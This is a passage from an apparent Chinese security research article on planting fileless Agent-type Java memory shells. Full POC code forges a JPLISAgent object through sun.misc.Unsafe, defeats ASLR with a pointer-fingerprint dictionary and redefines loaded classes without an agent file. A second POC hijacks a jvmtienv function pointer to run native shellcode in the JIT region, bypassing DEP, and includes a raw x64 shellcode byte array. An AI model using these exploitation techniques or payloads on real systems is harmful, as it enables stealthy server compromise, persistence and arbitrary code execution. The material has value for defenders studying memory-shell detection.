VFkRAMwQulRZEQDNBFRZEQDOA1RZEQDPA1RZEQDQA1RZEQDRA1RZEQDSA1RZEQDTA1RZEQDUA1RZEQDVEEhUWREA1hCNVFkRANcQjVRZEQDYBFRZEQDZBFRZEQDaA1RZEQDbA1RZEQDcEEFUWREA3RC6VFkRAN4QMVRZEQDfEItUWREA4BBvVFkRAOEQh1RZEQDiAlRZEQDjENVUWREA5BC7VFkRAOUQ8FRZEQDmELVUWREA5xCiVFkRAOgQVlRZEQDpEEFUWREA6hC6VFkRAOsQplRZEQDsEJVUWREA7RC9VFkRAO4QnVRZEQDvAlRZEQDwENVUWREA8RBIVFkRAPIQg1RZEQDzEMRUWREA9BAoVFkRAPUQPFRZEQD2EAZUWREA9xB8VFkRAPgQClRZEQD5EIBUWREA+hD7VFkRAPsQ4FRZEQD8EHVUWREA/QhUWREA/hC7VFkRAP8QR1RZEQEAEBNUWREBARByVFkRAQIQb1RZEQEDEGpUWREBBANUWREBBRBZVFkRAQYQQVRZEQEHEIlUWREBCBDaVFkRAQkCVFkRAQoQ1VRZEQELEGNUWREBDBBhVFkRAQ0QbFRZEQEOEGNUWREBDxAuVFkRARAQZVRZEQEREHhUWREBEhBlVFkRARMDVEsUAAQqEgYSBgO9AAe4AAinAAhMK7YACrEAAQboBvcG+gAJAAMADwAAAB4ABwAAAAwABQANBugANQb3ADoG+gA3BvsAOQb/ADsAEAAAABYAAgb7AAQAGwAcAAEAAAcAAB0AHgAAAB8AAAAJAAL3BvoHACAEAAEAIQAAAAIAIg=="; Class result = new Myloader().get(Base64.getDecoder().decode(classStr)); for (Method m:result.getDeclaredMethods()) { System.out.println(m.getName()); if (m.getName().equals("run")) { m.invoke(result,new byte[]{}); } } } catch (Exception e) { e.printStackTrace(); } }}这样就可以通过自定义一个系统内置类来加载系统库函数的Native方法。无文件落地Agent型内存马植入可行性分析前面我们讲到了目前Java内存马的分类:Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后,会产生新的类和对象,同时还会产生各种错综复杂的相互引用关系,比如要创建一个恶意Filter内存马,需要先修改已有的FilterMap,然后新增FilterConfig、FilterDef,最后还要修改FilterChain,这一系列操作产生的脏数据过多,不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。但是目前来看,Agent型内存马的缺点也非常明显:磁盘有agent文件落地需要上传文件,植入步骤复杂如无写文件权限,则无法植入众所周知,想要动态修改JVM中已经加载的类的字节码,必须要通过加载一个Agent来实现,这个Agent可以是Java层的agent.jar,也可以是Native层的agent.so,但是必须要有个agent。有没有一种方法可以既优雅又简洁的植入Agent型内存马呢?换句话说,有没有一种方法可以在不依赖额外Agent的情况下,动态修改JVM中已经加载的类的字节码呢?以前没有,现在有了:)首先,我们先看一下通过Agent动态修改类的流程:在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jar的AttachOperation对象,这个对象里面有三个关键数据:actioName、libName和agentPath;服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理;服务端处理线程调用dequeue方法取出AttachOperation;服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionName为load的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperation的On_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的);libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能;执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent:这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。7. InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses08. 执行流继续走入Native层:继续跟入:做了一系列判断之后,最终调用jvmtienv的redefineClasses方法执行类redefine操作:接下来理一下思路,在上面的8个步骤中,我们只要能跳过前面5个步骤,直接从步骤6开始执行,即可实现我们的目标。那么问题来了,步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值,这个值是一个指向JPLISAgent对象的指针,这个值我们不知道。只有一个办法,我们需要自己在Native层组装一个JPLISAgent对象,然后把这个对象的地址传给Java层InstrumentationImpl的构造器,就可以顺利完成后面的步骤。组装JPLISAgentNative内存操作想要在Native内存上创建对象,首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer,可以提供用户申请堆外内存的能力,这也就说明DirectByteBuffer是有操作Native内存的能力,而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的,这里我们也直接使用Unsafe进行Native内存操作。通过如下代码获取Unsafe:Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) { throw new AssertionError(e);}通过unsafe的allocateMemory、putlong、getAddress方法,可以实现Native内存的分配、读写。分析JPLISAgent结构接下来,就是分析JPLISAgent对象的结构了,如下:JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知,最终实现redefineClasses操作的是*jvmtienv的redefineClasses函数。但是这个jvmtienv的指针,是通过jvmti(JPLISAgent)推导出来的,如下:而jvmti是一个宏:而在执行到*jvmtienv的redefineClasses之前,还有多处如下调用都用到了jvmtienv:因此,我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针,也就是JPLISAgent的mNormalEnvironment成员,其结构如下:可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。接下来就是要确定JVMTIEnv的地址了。定位JVMTIEnv通过动态分析可知,0x000002E62D8EE950为JPLISAgent的地址,0x000002E62D8EE950+0x8(0x000002E62D8EEB60)为mJVMTIEnv,即指向JVMTIEnv指针的指针:转到该指针:可以看到0x6F78A220即为JVMTIEnv对象的真实地址,通过分析发现,该对象存在于jvm模块的地址空间中,而且偏移量是固定的,那只要找到jvm模块的加载基址,加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是,现代操作系统默认都开启了ASLR,因此jvm模块的基址并不可知。信息泄露获取JVM基址由上文可知,Unsafe提供了堆外内存的分配能力,这里的堆并不是OS层面的堆,而是Java层面的堆,无论是Unsafe分配的堆外地址,还是Java的堆内地址,其都在OS层的堆空间内。经过分析发现,在通过Unsafe分配一个很小的堆外空间时,这个堆外空间的前后内存中,存在大量的指针,而这些指针中,有一些指针指向jvm的地址空间。编写如下代码:long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory)); 输出如下:定位到地址0x2e61a1b67d0:可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间:但是,这部分指针并不可复现,也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的,也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时,最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序,多次运行程序,收集大量的前后指针列表,这些指针中有大量是重复出现的,然后根据指针末尾两个字节,做了一个字典,当然只做2个字节的匹配,很容易出错,于是我又根据这些大量指针指向的指针,取末尾两个字节,又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典,并根据指针重复出现的频次排序。POC运行的时候,会以allocateMemory开始,往前往后进行字典匹配,可以准确的确定jvm模块的基址。部分字典结构如下:"'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70'每个条目含有3个元素,第一个为指针末尾2字节,第二个元素为指针指向的指针末尾两个字节,第三个元素为指针与baseAddress的偏移量。基址确定了,jvmtienv的具体地址就确定了。当然拿到了jvm的地址,加上JavaVM的偏移量便可以直接获得JavaVM的地址。开始组装拿到jvm模块的基址后,就万事俱备了,下面准备装配JPLISAgent对象,代码如下: private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr=unsafe.allocateMemory(0x200); long jvmtiStackAddr=unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr,jvmtiAddress); unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel); unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l); System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168)); unsafe.putLong(agentAddr,jvmtiAddress-0x234f0); unsafe.putLong(agentAddr+0x8,jvmtiStackAddr); unsafe.putLong(agentAddr+0x10,agentAddr); unsafe.putLong(agentAddr+0x18,0x00730065006c0000l); //make retransform env unsafe.putLong(agentAddr+0x20,jvmtiStackAddr); unsafe.putLong(agentAddr+0x28,agentAddr); unsafe.putLong(agentAddr+0x30,0x0038002e00310001l); unsafe.putLong(agentAddr+0x38,0); unsafe.putLong(agentAddr+0x40,0); unsafe.putLong(agentAddr+0x48,0); unsafe.putLong(agentAddr+0x50,0); unsafe.putLong(agentAddr+0x58,0x0072007400010001l); unsafe.putLong(agentAddr+0x60,agentAddr+0x68); unsafe.putLong(agentAddr+0x68,0x0041414141414141l); return agentAddr; }入参为上一阶段获取的jvmti的地址,返回值为JPLISAgent的地址。完整POC如下(跨平台):package net.rebeyond; import sun.misc.Unsafe; import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*; public class PocWindows { public static void main(String[] args) throws Throwable { Unsafe unsafe = getUnsafe(); Thread.sleep(2000); //System.gc(); //Thread.sleep(2000); long allocateMemory = unsafe.allocateMemory(3); System.out.println("allocateMemory:" + Long.toHexString(allocateMemory)); String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'"; patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64 //patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64 long jvmtiOffset=0x79a220; //for java_8_271_x64 jvmtiOffset=0x78a280; //for windows_java_8_301_x64 //jvmtiOffset=0xf9c520; //for linux_java_8_301_x64 List<Map<String, String>> patternList = new ArrayList<Map<String, String>>(); for (String pair : patterns.split(",")) { String offset = pair.split(":")[0].replace("'", "").trim(); String value = pair.split(":")[1].replace("'", "").trim(); String delta = pair.split(":")[2].replace("'", "").trim(); Map pattern = new HashMap<String, String>(); pattern.put("offset", offset); pattern.put("value", value); pattern.put("delta", delta); patternList.add(pattern); } int offset = 8; int targetHexLength=8; //on linux,change it to 12. for (int j = 0; j < 0x2000; j++) //down search { for (int x : new int[]{-1, 1}) { long target = unsafe.getAddress(allocateMemory + j * x * offset); String targetHex = Long.toHexString(target); if (target % 8 > 0 || targetHex.length() != targetHexLength) { continue; } if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) { continue; } System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j); for (Map<String, String> patternMap : patternList) { targetHex = Long.toHexString(target); if (targetHex.endsWith(patternMap.get("offset"))) { String targetValueHex = Long.toHexString(unsafe.getAddress(target)); System.out.println("[!]bingo."); if (targetValueHex.endsWith(patternMap.get("value"))) { System.out.println("i found agent env:start get " + Long.toHexString(target) + ",at :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j); System.out.println("jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16))); System.out.println("jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset)); //long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30; long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset; long agentAddress = getAgent(jvmtiAddress); System.out.println("agentAddress:" + Long.toHexString(agentAddress)); Bird bird = new Bird(); bird.sayHello(); doAgent(agentAddress); //doAgent(Long.parseLong(address)); bird.sayHello(); return; } } } } } } private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr = unsafe.allocateMemory(0x200); long jvmtiStackAddr = unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr, jvmtiAddress); unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel); unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l); System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168)); unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0); unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x10, agentAddr); unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l); //make retransform env unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x28, agentAddr); unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l); unsafe.putLong(agentAddr + 0x38, 0); unsafe.putLong(agentAddr + 0x40, 0); unsafe.putLong(agentAddr + 0x48, 0); unsafe.putLong(agentAddr + 0x50, 0); unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l); unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68); unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l); return agentAddr; } private static void doAgent(long address) throws Exception { Class cls = Class.forName("sun.instrument.InstrumentationImpl"); for (int i = 0; i < cls.getDeclaredConstructors().length; i++) { Constructor constructor = cls.getDeclaredConstructors()[i]; constructor.setAccessible(true); Object obj = constructor.newInstance(address, true, true); for (Field f : cls.getDeclaredFields()) { f.setAccessible(true); if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) { //System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj)); } } for (Method m : cls.getMethods()) { if (m.getName().equals("redefineClasses")) { //System.out.println("redefineClasses:" + m); String newBirdClassStr = "yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA="; Bird bird = new Bird(); ClassDefinition classDefinition = new ClassDefinition( bird.getClass(), Base64.getDecoder().decode(newBirdClassStr)); ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition}; try { //Thread.sleep(5000); m.invoke(obj, new Object[]{classDefinitions}); } catch (Exception e) { e.printStackTrace(); } } } //System.out.println("instrument obj:" + obj); //System.out.println("constr:" + cls.getDeclaredConstructors()[i]); } } private static Unsafe getUnsafe() { Unsafe unsafe = null; try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; } }Bird.javapackage net.rebeyond; public class Bird { public void sayHello() { System.out.println("hello!"); }}编译,运行:上述环境是win10+Jdk1.8.0_301_x64,注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹,如果是其他OS或者JDK版本,指纹库需要对应更新。可以看到,我们成功通过纯Java代码实现了动态修改类字节码。按照惯例,我提出一种新的技术理论的时候,一般会直接给出一个下载即可用的exp,但是现在为了合规起见,此处只给出demo,不再提供完整的利用工具。Java跨平台任意Native代码执行确定入口上文中,我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术,当注入的目标进行为-1时,可以往当前Java进程注入shellcode,实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的:)上一小节我们在伪造JPLISAgent对象的时候,留意到redefineClasses函数里面有这种代码:allocate函数的第一个参数是jvmtienv指针,我们跟进allocate函数:void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) { void * resultBuffer = NULL; jvmtiError error = JVMTI_ERROR_NONE; error = (*jvmtienv)->Allocate(jvmtienv, bytecount, (unsigned char**) &resultBuffer); /* may be called from any phase */ jplis_assert(error == JVMTI_ERROR_NONE); if ( error != JVMTI_ERROR_NONE ) { resultBuffer = NULL; } return resultBuffer;}可以看到最终是调用的jvmtienv对象的一个成员函数,先看一下真实的jvmtienv是什么样子:对象里是很多函数指针,看到这里,如果你经常分析二进制漏洞的话,可能会马上想到这里jvmtienv是我们完全可控的,我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。构造如下POC:先动态调试看一下我们布局的payload:0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址,我们从这里开始布局JPLISAgent对象,0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针,跟进0x219d1b1a820,其值为指向真实的jvmtienv对象的指针,这里我们把他指向了他自己0x219d1b1a820,接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168,我们只要覆盖0x219d1b1a820+0x168(0x219d1b1a988)的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990,紧跟在0x219d1b1a988的后面,然后往0x219d1b1a990写入shellcode。编译,运行:进程crash了,报的异常是意料之中,仔细看下报的异常:#EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc内存访问异常,但是pc的值是0x00000219d1b1a990,这就是我们shellcode的首地址。说明我们的payload布置是正确的,只不过系统开启了NX(DEP),导致我们没办法去执行shellcode,下图是异常的现场,可见RIP已经到了shellcode:绕过NX(DEP)上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上,不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢?熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE,而Java也是有JIT特性的,通过分析进程内存布局,可以看到Java进程确实也存在这样一个区域,如下图:我们只要通过unsafe把shellcode写入这个区域即可。但是,还有ASLR,需要绕过ASLR才能获取到这块JIT区域。绕过ASLR在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法,这个方法在这里同样适用。不过,这里我想换一种方法,因为通过指纹匹配的方式,需要针对不同的Java版本做适配,还是比较麻烦的。这里采用了搜索内存的方法,如下:package net.rebeyond; import sun.misc.Unsafe; import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map; public class PocForRCE { public static void main(String [] args) throws Throwable { byte buf[] = new byte[] { (byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, 